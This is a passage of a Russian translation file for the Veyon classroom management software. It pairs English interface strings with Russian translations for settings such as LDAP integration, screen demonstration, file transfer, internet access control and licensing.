%1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + +ИСПОЛЬЗОВАНИЕ + +%1 remove <ОБЪЕКТ> + +Удалить указанный объект из каталога. ОБЪЕКТ можно указать по названию или UUID. Удаление класса приводит к удалению всех компьютеров в нём. + +примеры: + +* Удалить компьютер под названием: + +%1 remove "Компьютер 01" + +* Удалить объект по UUID: + +%1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + Object UUID + UUID объекта + + + Parent UUID + Родительский UUID + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + +ИСПОЛЬЗОВАНИЕ + +%1 import <ФАЙЛ> [room <КЛАСС>] [format <СТРОКА ФОРМАТИРОВАНИЯ С ПЕРЕМЕННЫМИ>] [regex <РЕГУЛЯРНОЕ ВЫРАЖЕНИЕ С ПЕРЕМЕННЫМИ>] + +Возможные переменные: %type% %name% %host% %mac% %room% + +примеры: + +* Импорт простого файла CSV из одной записи класса: + +%1 import computers.csv room "Класс 01" format "%name%;%host%;%mac%" + +* Импорт CSV-файла с названием класса в первом столбце: + +%1 import computers-with-rooms.csv format "%room%,%name%,%mac% + +* Импорт текстового файла с парами ключ-значение с помощью регулярных выражений: + +%1 import hostlist.txt room "Класс 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Импортировать в произвольном форматировании: + +%1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Встроенный сервер VNC (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Встроенный сервер VNC (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Класс: %1 + + + Host/IP address: %1 + Хост/IP-адрес: %1 + + + Active features: %1 + Задействованные возможности: %1 + + + Online and connected + Онлайн и подключен + + + Establishing connection + Установка соединения + + + Computer offline or switched off + Компьютер в автономном режиме или выключен + + + Service unreachable or not running + Сервис недоступен или не работает + + + Authentication failed or access denied + Ошибка аутентификации или доступ запрещен + + + Disconnected + Отключено + + + No user logged on + Пользователь не вошел + + + Logged on user: %1 + Вход в систему под пользователем: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Сервис %2 в %3:%4 + + + Authentication error + Ошибка аутенфикации + + + Remote access + Удалённый доступ + + + User "%1" at host "%2" is now accessing this computer. + Сейчас доступ к этому компьютеру имеет пользователь "%1" на хосте "%2". + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + Пользователь "%1" на хосте "%2" пытался получить доступ к этому компьютеру, но не смог пройти аутентификацию! + + + + ComputerManagementView + + Computer management + Управление компьютером + + + Add room + Добавить класс + + + Save computer/user list + Сохранить список компьютеров / пользователей + + + Select output filename + Выберите имя выходного файла + + + CSV files (*.csv) + CSV-файлы (*.csv) + + + File error + Ошибка файла + + + Could not write the computer and users list to %1! Please check the file access permissions. + Не удалось записать список компьютеров и пользователей в %1! Пожалуйста, проверьте права доступа к файлу. + + + Computer search + Компьютерный поиск + + + + ComputerManager + + User + Пользователь + + + Missing network object directory plugin + Отсутствует плагин каталога сетевых объектов + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Не найден ни один плагин каталога сетевых объектов по умолчанию. Пожалуйста, проверьте корректность установки или настройте другой сервер каталога объектов сети через конфигуратор %1. + + + Computer name;Host name;User + Имя компьютера; Имя хоста; Пользователь + + + Room detection failed + Не удалось обнаружить класс + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Не удалось определить класс, к которому принадлежит этот компьютер. Это указывает на проблему с настройками системы. Все классы будут отображаться в управлении компьютерами. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Пожалуйста, укажите существующий файл конфигурации для импорта. + + + Please specify a valid filename for the configuration export. + Пожалуйста, укажите допустимое имя файла для экспорта конфигурации. + + + Please specify a valid key. + Пожалуйста, укажите действующий ключ. + + + Specified key does not exist in current configuration! + Указанный ключ не существует в текущей конфигурации! + + + Please specify a valid value. + Укажите действительное значение. + + + Configure Veyon at command line + Настройка Veyon в командной строке + + + Output file is not writable! + Выходной файл не доступен для записи! + + + Output directory is not writable! + Каталог вывода не доступен для записи! + + + Configuration file is not readable! + Файл конфигурации не читается! + + + Clear system-wide Veyon configuration + Очистка всей системы Veyon + + + List all configuration keys and values + Список всех ключей и значений конфигурации + + + Import configuration from given file + Импорт конфигурации из указанного файла + + + Export configuration to given file + Экспорт конфигурации в указанный файл + + + Read and output configuration value for given key + Чтение и вывод значений конфигурации для заданного ключа + + + Write given value to given configuration key + Записать указанное значение в заданный ключ конфигурации + + + Unset (remove) given configuration key + Отменить (удалить) данный ключ конфигурации + + + Commands for managing the configuration of Veyon + Команды для управления настройками Veyon + + + Upgrade and save configuration of program and plugins + Обновить и сохранить настройки программы и дополнений + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Не удалось изменить свойство автозапуска для сервиса %1. + + + Could not configure the firewall configuration for the %1 Server. + Не удалось настроить брандмауэр для сервера %1. + + + Could not configure the firewall configuration for the %1 Worker. + Не удалось настроить брандмауэр для рабочей станции %1. + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Не удалось изменить параметр для программного создания SAS. Удалённой отправки Ctrl+Alt+Del не будет! + + + Configuration is not writable. Please check your permissions! + Файл настроек непригоден для записи. Пожалуйста, проверьте права доступа к нему! + + + + DemoClient + + %1 Demo + Демо %1 + + + + DemoConfigurationPage + + Demo server + Демонстрационный сервер + + + Tunables + Параметры настройки + + + ms + мс + + + Key frame interval + Интервал между ключевыми кадрами + + + Memory limit + Предел памяти + + + Use multithreading (experimental) + Использовать многопоточность (экспериментально) + + + MB + МБ + + + Update interval + Интервал обновления + + + s + с + + + + DemoFeaturePlugin + + Fullscreen demo + Полноэкранное демо + + + Stop demo + Оставить демонстрацию + + + Window demo + Демо в окне + + + Give a demonstration by screen broadcasting + Выполнить демонстрацию трансляцией изображения на экране + + + Demo server + Демонстрационный сервер + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + В этом режиме изображение с экрана вашего компьютера будет демонстрироваться на весь экран на всех компьютерах, а устройства ввода данных на компьютерах будут заблокированы. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + В этом режиме изображение с вашего экрана будет показано в окне на всех компьютерах. Пользователи, если захотят, смогут переключаться на другие окна. + + + + DesktopAccessDialog + + Desktop access dialog + Диалог доступа к рабочему столу + + + Confirm desktop access + Подтверждать доступ к рабочему столу + + + Never for this session + Никогда в этом сеансе + + + Always for this session + Всегда в этом сеансе + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + Пользователь %1 компьютера %2 пытается подключиться к Вашему рабочему столу. Разрешить ему доступ к Вашему рабочему столу? + + + + DesktopServicesConfigurationPage + + Programs & websites + Программы и сайты + + + Predefined programs + Предварительно определённые программы + + + Name + Имя + + + Path + Путь + + + Add new program + Добавить новую программу + + + Remove selected program + Удалить выделенную программу + + + Predefined websites + Предварительно определённые сайты + + + Remove selected website + Удалить выбранный сайт + + + URL + Адрес + + + New program + Новая программа + + + New website + Новый сайт + + + + DesktopServicesFeaturePlugin + + Run program + Запустить программу + + + Open website + Открыть веб-сайт + + + Click this button to open a website on all computers. + Нажмите эту кнопку для открытия веб-сайта на всех компьютерах. + + + Please enter the URL of the website to open: + Введите URL-адрес веб-сайта для открытия: + + + Start programs and services in user desktop + Запуск программ и сервисов на рабочем столе пользователя + + + Click this button to run a program on all computers. + Нажмите эту кнопку для запуска программы на всех компьютерах. + + + Run program "%1" + Выполнить программу "%1" + + + Custom program + Необычная программа + + + Open website "%1" + Открыть сайт "%1" + + + Custom website + Необычный сайт + + + + ExternalVncServer + + External VNC server + Внешний VNC-сервер + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Настройки внешнего VNC-сервера + + + Port: + Порт: + + + Password: + Пароль: + + + + FeatureControl + + Feature control + Управление функциями + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + Не удалось открыть файл "%1" для чтения! Пожалуйста, проверьте, есть ли у вас достаточные права доступа! + + + + FileTransferDialog + + File transfer + Передача файлов + + + Options + Параметры + + + Transfer only + Только передача + + + Transfer and open file(s) with associated program + Передать и открыть файл(ы) с помощью связанной программы + + + Transfer and open destination folder + Передать и открыть папку назначения + + + Files + Файлы + + + Start + Начать + + + Overwrite existing files + Перезаписать существующие файлы + + + + FileTransferPlugin + + File transfer + Передача файлов + + + Click this button to transfer files from your computer to all computers. + Нажмите эту кнопку, чтобы передать файлы с компьютера на все компьютеры. + + + Select one or more files to transfer + Выберите один или несколько файлов для передачи + + + Transfer files to remote computer + Передать файлы на другой компьютер + + + Received file "%1". + Получен файл "%1". + + + Could not receive file "%1" as it already exists. + Не удалось получить файл "%1", поскольку такой файл уже существует. + + + Could not receive file "%1" as it could not be opened for writing! + Не удалось получить файл "%1", поскольку не удалось открыть соответствующий файл для записи данных! + + + + GeneralConfigurationPage + + User interface + Интерфейс пользователя + + + Language: + Язык: + + + Use system language setting + Использовать настройки системного языка + + + Veyon + Veyon + + + Logging + Ведение журнала + + + Log file directory + Каталог, содержащий файл журнала + + + ... + ... + + + Log level + Уровень журналирования + + + Nothing + Отключить журналирование + + + Only critical messages + Только критические ошибки + + + Errors and critical messages + Все ошибки + + + Warnings and errors + Предупреждения и ошибки + + + Information, warnings and errors + Информационные сообщения, предупреждения и ошибки + + + Debug messages and everything else + Все сообщения вместе с отладочной информацией + + + Limit log file size + Ограничить размер файла журнала + + + Clear all log files + Очистить все файлы журналов + + + Log to standard error output + Обычное журналирование + + + Network object directory + Каталог сетевых объектов + + + Backend: + Бэкэнд: + + + Update interval: + Интервал обновления: + + + %1 service + сервис %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + Сервис %1 должен быть временно приостановлен для того, чтобы удалить файлы журналов. Продолжить? + + + Log files cleared + Файлы журналов были очищены + + + All log files were cleared successfully. + Все файлы журналов были успешно очищены. + + + Error + Ошибка + + + Could not remove all log files. + Невозможно удалить все файлы журналов. + + + MB + МБ + + + Rotate log files + Освежить файлы журналов + + + x + x + + + seconds + секунд + + + Write to logging system of operating system + Записывать в журнал операционной системы + + + Authentication + Аутентификация + + + Method: + Метод: + + + Logon authentication + Аутентификация при входе в систему + + + Key file authentication + Аутентификация с помощью ключа доступа + + + + InternetAccessControlConfigurationPage + + Internet access control + Управление доступом к интернету + + + Backend: + Бэкэнд: + + + General settings + Общие параметры + + + Backend settings + Параметры модулей + + + + InternetAccessControlPlugin + + Block access to the internet + Блокировать доступ к интернету + + + Allow access to the internet + Разрешить доступ к интернету + + + Show help about command + Показать помощь по команде + + + Block internet + Блокировать интернет + + + Click this button to block access to the internet. + Нажмите эту кнопку, чтобы заблокировать доступ к интернету. + + + Unblock internet + Разблокировать интернет + + + Click this button to allow access to the internet. + Нажмите эту кнопку, чтобы разрешить доступ к интернету. + + + Control access to the internet + Управление доступом к интернету + + + Commands for controlling access to the internet + Команды для управления доступом к интернету + + + + LdapBrowseDialog + + Browse LDAP + Навигация LDAP + + + + LdapClient + + LDAP error description: %1 + Описание ошибки LDAP: %1 + + + No LDAP error description available + Нет доступного описания ошибки LDAP + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Основные настройки + + + General + Главное + + + LDAP server and port + LDAP сервер и порт + + + Bind DN + DN для привязки + + + Bind password + Пароль привязки + + + Anonymous bind + Анонимная привязка + + + Use bind credentials + Регистрационные данные привязки + + + Test + Тестировать + + + Base DN + Корневой DN + + + Fixed base DN + Фиксированный корневой DN + + + e.g. dc=example,dc=org + например, dc=example,dc=org + + + Discover base DN by naming context + Определить корневой DN по контексту имён + + + e.g. namingContexts or defaultNamingContext + например, namingContexts или defaultNamingContext + + + Environment settings + Настройки среды + + + Object trees + Деревья объектов + + + Computer tree + Дерево компьютеров + + + e.g. OU=Groups + например, OU=Groups + + + User tree + Дерево пользователей + + + e.g. OU=Users + например, OU=Users + + + e.g. OU=Computers + например, OU=Computers + + + Group tree + Дерево групп + + + Perform recursive search operations in object trees + Выполнить рекурсивные действия по поиску в деревьях объектов + + + Object attributes + Атрибуты объектов + + + e.g. hwAddress + например, hwAddress + + + Computer host name attribute + Атрибут имени хоста компьютера + + + e.g. member or memberUid + например, member или memberUid + + + User login attribute + Атрибут имени пользователя + + + e.g. dNSHostName + например, dNSHostName + + + Computer MAC address attribute + Атрибут MAC-адреса компьютера + + + Group member attribute + Атрибут членства в группе + + + e.g. uid or sAMAccountName + например, uid или sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Имена хостов сохранены как полные доменные имена (FQDN, например myhost.example.org) + + + Advanced settings + Расширенные настройки + + + Optional object filters + Опциональные фильтры объектов + + + Filter for user groups + Фильтр для групп пользователей + + + Filter for users + Фильтр для пользователей + + + Filter for computer groups + Фильтр для групп компьютеров + + + Group member identification + Идентификация участников группы + + + Distinguished name (Samba/AD) + Уникальное имя (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Настроенный атрибут для имени пользователя или имени хоста компьютера (OpenLDAP) + + + List all groups of a user + Список всех групп пользователя + + + List all groups of a computer + Список всех групп компьютера + + + Get computer object by IP address + Получить объект компьютера по IP-адресу + + + LDAP connection failed + Неудачная попытка установить LDAP-соединение + + + LDAP bind failed + Ошибка привязки к LDAP + + + LDAP bind successful + Успешная привязка к LDAP + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Выполнено успешное соединение с сервером LDAP и привязка к LDAP. Должным образом настроены основные параметры LDAP. + + + LDAP base DN test failed + Не удалось пройти проверку корневого DN LDAP + + + LDAP base DN test successful + Успешная проверка корневого DN LDAP + + + LDAP naming context test failed + Не удалось пройти проверку контекста именования LDAP + + + LDAP naming context test successful + Успешно пройдена проверка контекста именования LDAP + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + Успешно выполнен опрос контекста именования LDAP. Выявлен такой корневой DN: +%1 + + + user tree + дерево пользователей + + + group tree + дерево групп + + + computer tree + дерево компьютеров + + + Enter username + Введите имя пользователя + + + Please enter a user login name (wildcards allowed) which to query: + Выберите запись пользователя (можно использовать символы-заменители), данные которого следует получить: + + + user objects + пользовательские объекты + + + user login attribute + атрибут имени пользователя + + + Enter group name + Введите имя группы + + + Please enter a group name whose members to query: + Пожалуйста, укажите имя группы, участников которой следует определить: + + + group members + участники группы + + + group member attribute + атрибут членства в группе + + + Group not found + Группа не найдена + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Не удалось найти группу с именем "%1". Пожалуйста, проверьте, правильно ли указано имя группы или параметр дерева групп. + + + Enter computer name + Введите имя компьютера + + + Please enter a computer host name to query: + Пожалуйста, укажите имя хоста компьютера для запроса: + + + Invalid host name + Некорректное имя хоста + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Вы настроили программу на хранение полных доменных имён хостов компьютеров (FQDN), но указали имя хоста без домена. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Вы настроили программу на хранение простых имён хостов компьютеров, но указали название хоста вместе с именем домена. + + + computer objects + объекты компьютеров + + + computer host name attribute + атрибут имени хоста компьютера + + + Enter computer DN + Укажите DN компьютера + + + Please enter the DN of a computer whose MAC address to query: + Пожалуйста, укажите DN компьютера, запрос по MAC-адресу которого следует прислать: + + + computer MAC addresses + MAC-адреса компьютера + + + computer MAC address attribute + атрибут MAC-адреса компьютера + + + users + пользователи + + + user groups + группы пользователей + + + computer groups + группы компьютеров + + + Please enter a user login name whose group memberships to query: + Пожалуйста, укажите имя записи пользователя, для кого следует получить данные об участии в группах: + + + groups of user + группы пользователя + + + user login attribute or group membership attribute + атрибут имени пользователя или атрибут участия в группах + + + User not found + Пользователь не найден + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Не удалось найти пользователя с именем "%1". Пожалуйста, проверьте, правильно ли указано имя пользователя или параметр дерева пользователей. + + + Enter host name + Введите имя хоста + + + Please enter a computer host name whose group memberships to query: + Пожалуйста, укажите имя хоста компьютера, для кого следует получить данные об участии в группах: + + + groups of computer + группы компьютера + + + computer host name attribute or group membership attribute + атрибут имени хоста компьютера или атрибут участия в группах + + + Computer not found + Компьютер не найден + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Не удалось найти компьютер с именем хоста "%1". Пожалуйста, проверьте, правильно ли указано имя хоста или параметр дерева компьютеров. + + + Enter computer IP address + Введите IP адрес компьютера + + + Please enter a computer IP address which to resolve to an computer object: + Пожалуйста, укажите IP-адрес компьютера, с которой следует определить объект компьютера: + + + Host name lookup failed + Ошибка поиска имени хоста + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Не удалось выполнить поиск имени хоста для IP-адреса %1. Пожалуйста, проверьте, правильно ли указаны параметры вашего сервера DNS. + + + computers + компьютеры + + + LDAP %1 test failed + Ошибка тестирования LDAP %1 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Не удалось опросить ни одну из записей в настроенной %1. Пожалуйста, проверьте, правильно ли указан параметр %1. + +% 2 + + + LDAP %1 test successful + Успешное тестирование LDAP %1 + + + The %1 has been queried successfully and %2 entries were found. + Успешно опрошено %1, выявлено %2 записей. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Не удалось выполнить опрос для одного %1. Пожалуйста, проверьте, правильно ли указан параметр %2, или укажите имя имеющегося обьекта. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 успешно опрошено: + +%3 + + + LDAP filter test failed + Ошибка тестирования фильтрации LDAP + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Не удалось выполнить опрос для одного %1 с использованием настроенной фильтрации. Пожалуйста, проверьте, правильно ли указан фильтр LDAP для %1. + +%2 + + + LDAP filter test successful + Успешная проверка фильтрации LDAP + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 успешно опрошен с помощью настроенного фильтра. + + + (only if different from group tree) + (только если отличается от дерева групп) + + + Computer group tree + Дерево групп компьютеров + + + computer group tree + дерево групп компьютеров + + + Filter for computers + Фильтр для компьютеров + + + e.g. room or computerLab + например, room или computerLab + + + List all members of a computer room + Список участников компьютерного класса + + + List all computer rooms + Список компьютерных классов + + + Enter computer room name + Введите имя компьютерного класса + + + Please enter the name of a computer room (wildcards allowed): + Пожалуйста, введите имя компьютерного класса (можно использовать символы-заменители): + + + computer rooms + компьютерные классы + + + computer room attribute + атрибут компьютерного класса + + + Please enter the name of a computer room whose members to query: + Пожалуйста, введите имя компьютерного класса, запрос к участникам которого следует выполнить: + + + computer room members + участники компьютерного класса + + + computer group filter or computer room member aggregation + фильтр группы компьютеров или сбора участников в компьютерный класс + + + Computer rooms + Компьютерные классы + + + Integration tests + Тестирования интеграции + + + Computer room attribute + Атрибут компьютерного класса + + + Aggregate computers in a room via: + Собирать компьютеры в класс на основе: + + + Computer groups + Группы компьютеров + + + Computer room attribute in computer objects + Атрибуты компьютерного класса в объектах компьютеров + + + Test not applicable + Тестирование не применимо + + + Computer room name attribute + Атрибут имени компьютерного класса + + + e.g. name or description + например, имя или описание + + + Filter for computer containers + Фильтр для контейнеров компьютеров + + + Computer containers or OUs + Контейнеры компьютеров или OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Пожалуйста, измените настройки компьютерного класса, чтобы использовать как компьютерные классы группы компьютеров или контейнеры компьютеров. Если вы это сделаете, запрос будет выполняться не в отношении общего названия (CN) групп компьютеров или контейнеров, по указанному атрибуту. Если потребности в таких настройках нет, то не следует определять этот атрибут. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Пожалуйста, измените следующие параметры компьютерного класса, чтобы использовать контейнеры компьютеров как компьютерные классы. Если потребности в такой настройке нет, то не определяйте этот фильтр. + + + Connection security + Защита соединения + + + TLS certificate verification + Проверка сертификата TLS + + + System defaults + Системные установки по умолчанию + + + Never (insecure!) + Никогда (небезопасно!) + + + Custom CA certificate file + Необычный файл службы сертификации (CA) + + + None + Нет + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + например, (objectClass=computer) + + + e.g. (objectClass=group) + например, (objectClass=group) + + + e.g. (objectClass=person) + например, (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + например, (objectClass=room) или (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + например, (objectClass=container) или (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + Не удалось опросить настроенный базовый DN. Пожалуйста, проверите, правильно ли указан параметр базового DN. + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + Успешно опрошен базовый DN LDAP. Найдены следующие записи: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + Не удалось опросить базовый DN через контексты именования. Пожалуйста, проверите, правильно ли указан параметр атрибута контекста именования. + +%1 + + + Certificate files (*.pem) + Файлы сертификатов (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + Не удалось соединиться с сервером LDAP. Пожалуйста, проверьте, правильно ли указаны параметры сервера. + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + Не удалось привязаться к серверу LDAP. Пожалуйста, проверьте, правильно ли указаны параметры сервера и регистрационные данные привязки. + +%1 + + + Encryption protocol + Протокол шифрования + + + + LdapPlugin + + Auto-configure the base DN via naming context + Автоматическое конфигурирование базового DN через контекст имён + + + Query objects from LDAP directory + Опросить объекты из каталога LDAP + + + Show help about command + Показать помощь по команде + + + Commands for configuring and testing LDAP/AD integration + Команды для конфигурирования и тестирования интеграции LDAP/AD + + + Provide LDAP/AD integration for Veyon + Предоставляет возможности по интеграции LDAP/AD в Veyon + + + LDAP (load computers and rooms from LDAP/AD) + LDAP (загрузить записи компьютеров и классов с LDAP/AD) + + + LDAP (load users and groups from LDAP/AD) + LDAP (загрузить записи пользователей и групп с LDAP/AD) + + + + LicensingConfigurationPage + + Licensing + Лицензирование + + + Installed licenses + Установленные лицензии + + + Add new network range + Добавить новый диапазон сети + + + Remove selected network range + Удалить выделенный диапазон сети + + + ID + Идентификатор + + + Feature + Функция + + + Valid until + В силе до + + + Licensee + Лицензиат + + + Browse license file + Просмотреть файл лицензии + + + Veyon license files (*.vlf) + файлы лицензий Veyon (*.vlf) + + + Remove license + Удалить лицензию + + + Do you really want to remove the selected license? + Вы действительно хотите удалить выбранную лицензию? + + + <N/A> + <н/д> + + + Invalid license file + Некорректный файл лицензии + + + Could not open the license file for reading! + Не удалось открыть файл лицензии для чтения! + + + The selected license file does not contain valid data. + В указанном файле лицензии не содержится корректных данных. + + + The selected license file could not be verified. + Выделенный файл лицензии не удалось проверить. + + + The selected license file is not valid for this installation. + Выделенный файл лицензии не действует для этой установки. + + + The selected license file is expired. + Срок действия выделенного файла лицензии истек. + + + The license is already installed. + Эта лицензия уже установлена. + + + + LicensingPlugin + + Show help for specific command + Показать справку по определённой команде + + + Show all installed licenses + Показать все установленные лицензии + + + Add license file + Добавить файл лицензии + + + Remove installed license + Удалить установленную лицензию + + + +USAGE + +%1 add <LICENSE FILE> + + + +ИСПОЛЬЗОВАНИЕ + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +ИСПОЛЬЗОВАНИЕ + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + Не найдено сертификата с указанным идентификатором + + + <N/A> + <н/д> + + + Licensing management + Управление лицензиями + + + Commands for managing license keys + Команды для управления файлами лицензий + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Плагин, который реализует абстрактные функции на платформе Linux + + + + MainToolBar + + Configuration + Конфигурация + + + Disable balloon tooltips + Отключить всплывающие подсказки + + + Show icons only + Показывать только значки + + + + MainWindow + + MainWindow + Главное окно + + + toolBar + Панель инструментов + + + General + Главное + + + &File + &Файл + + + &Help + &Помощь + + + &Quit + &Выход + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + Загрузить настройки из файла + + + Ctrl+O + Ctrl+O + + + About Qt + О пакете Qt + + + Authentication impossible + Невозможно выполнить аутентификацию + + + Configuration not writable + Файл конфигурации не доступен для записи + + + Load settings from file + Загрузить настройки из файла + + + Save settings to file + Сохранить настройки в файл + + + Unsaved settings + Несохранённые настройки + + + There are unsaved settings. Quit anyway? + Существуют несохранённые настройки. Выйти, не сохранив их? + + + Veyon Configurator + Конфигуратор Veyon + + + Service + Сервис + + + Master + Мастер + + + Access control + Контроль доступа + + + About Veyon + О программе Veyon + + + Auto + Авто + + + Computer rooms + Компьютерные классы + + + About + О программе + + + %1 Configurator %2 + %1 Конфигуратор %2 + + + JSON files (*.json) + Файлы JSON (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + Локальный сервер сообщил, что конфигурация защищена от записи. Запустите конфигуратор %1 с более высокими привилегиями. + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + Не найдены файлы ключей аутентификации или они устарели. Пожалуйста, создайте новые файлы, используя конфигуратор %1. Как альтернатива установите аутентификацию входа, используя конфигуратор %1. Иначе Вы не сможете получить доступ к компьютерам с помощью %1. + + + Access denied + Доступ запрещён + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + Согласно локальных настроек вам запрещён доступ к компьютерам в сети. Пожалуйста, войдите из-под другой учётной записи или попросите администратора вашей системы изменить локальные настройки соответствующим образом. + + + Screenshots + Скриншоты + + + Feature active + Функция активна + + + The feature "%1" is still active. Please stop it before closing %2. + Функция "%1" всё ещё активна. Пожалуйста, остановите её перед закрытием %2. + + + Reset configuration + Сбросить конфигурацию + + + Do you really want to reset the local configuration and revert all settings to their defaults? + Вы действительно хотите сбросить локальную конфигурацию и вернуть все настройки по умолчанию? + + + Search users and computers + Поиск пользователей и компьютеров + + + Adjust optimal size + Скорректировать оптимальный размер + + + Align computers to grid + Выравнивать компьютеры по сетке + + + Use custom computer placement + Использовать необычное расположение компьютеров + + + %1 Configurator + Конфигуратор %1 + + + Insufficient privileges + Недостаточные права доступа + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + Не удалось запустить программу с правами администратора. Пожалуйста, убедитесь, что в рабочей среде установлена sudo-подобная программа! Программа будет запущена с правами доступа обычного пользователя. + + + Only show powered on computers + Показывать только работающие компьютеры + + + &Save settings to file + &Сохранить параметры в файл + + + &View + &Просмотр + + + &Standard + С&тандартный + + + &Advanced + &Рвсширенный + + + + MasterConfigurationPage + + Directories + Каталоги + + + ... + ... + + + User configuration + Пользовательская конфигурация + + + Feature on computer double click: + Действие в ответ на двойной щелчок на компьютере: + + + Automatically switch to current room at start + Автоматически переключаться на текущий класс при запуске + + + Features + Функции + + + All features + Все функции + + + Disabled features + Отключенные функции + + + Perform access control at program start + Выполнять управление доступом при запуске программы + + + Screenshots + Скриншоты + + + <no feature> + <нет функции> + + + Automatically adjust computer thumbnail size at start + Автоматически корректировать размер миниатюры компьютера при запуске + + + Basic settings + Основные настройки + + + Behaviour + Поведение + + + Enforce selected mode for client computers + Принудительно выбранный режим для компьютеров-клиентов + + + Only show current room + Отображать только текущий класс + + + Allow adding rooms manually + Разрешить добавление классов вручную + + + Hide local computer + Скрыть локальный компьютер + + + Hide empty rooms + Скрыть пустые классы + + + Hide computer filter field + Скрыть поле фильтрации компьютеров + + + Actions such as rebooting or powering down computers + Действия, в частности, перезагрузка и выключение компьютеров + + + Show confirmation dialog for potential dangerous actions + Показывать окно подтверждения для потенциально опасных действий + + + User interface + Интерфейс пользователя + + + Background color + Цвет фона + + + Thumbnail update interval + Интервал обновления миниатюры + + + ms + мс + + + Program start + Запуск программы + + + Modes and features + Режимы и возможности + + + User and computer name + Пользователь и имя компьютера + + + Only user name + Только имя пользователя + + + Only computer name + Только имя компьютера + + + Computer thumbnail caption + Подпись миниатюры компьютера + + + Computer rooms + Компьютерные классы + + + Automatically open computer rooms widget + Автоматически открывать виджет компьютерных классов + + + Text color + Цвет текста + + + Sort order + Порядок сортировки + + + Computer and user name + Имя компьютера и пользователя + + + + MonitoringMode + + Monitoring + Мониторинг + + + Builtin monitoring mode + Встроенный режим мониторинга + + + This is the default mode and allows you to monitor all computers in one or more rooms. + Это режим по умолчанию. Он предоставляет вам возможность следить за всеми компьютерами в одном или нескольких классах. + + + + NetworkDiscoveryConfigurationPage + + Network discovery + Обнаружение сети + + + Mode + Режим + + + Scan network ranges + Сканировать диапазоны сети + + + e.g. 192.168.1.0/24 + Например: 192.168.1.0/24 + + + Scan all subnets of computer + Сканировать все подсети компьютера + + + Scan custom subnet + Сканировать нетипичную подсеть + + + Scan sessions on local computer + Сканировать сеансы на локальном компьютере + + + Test + 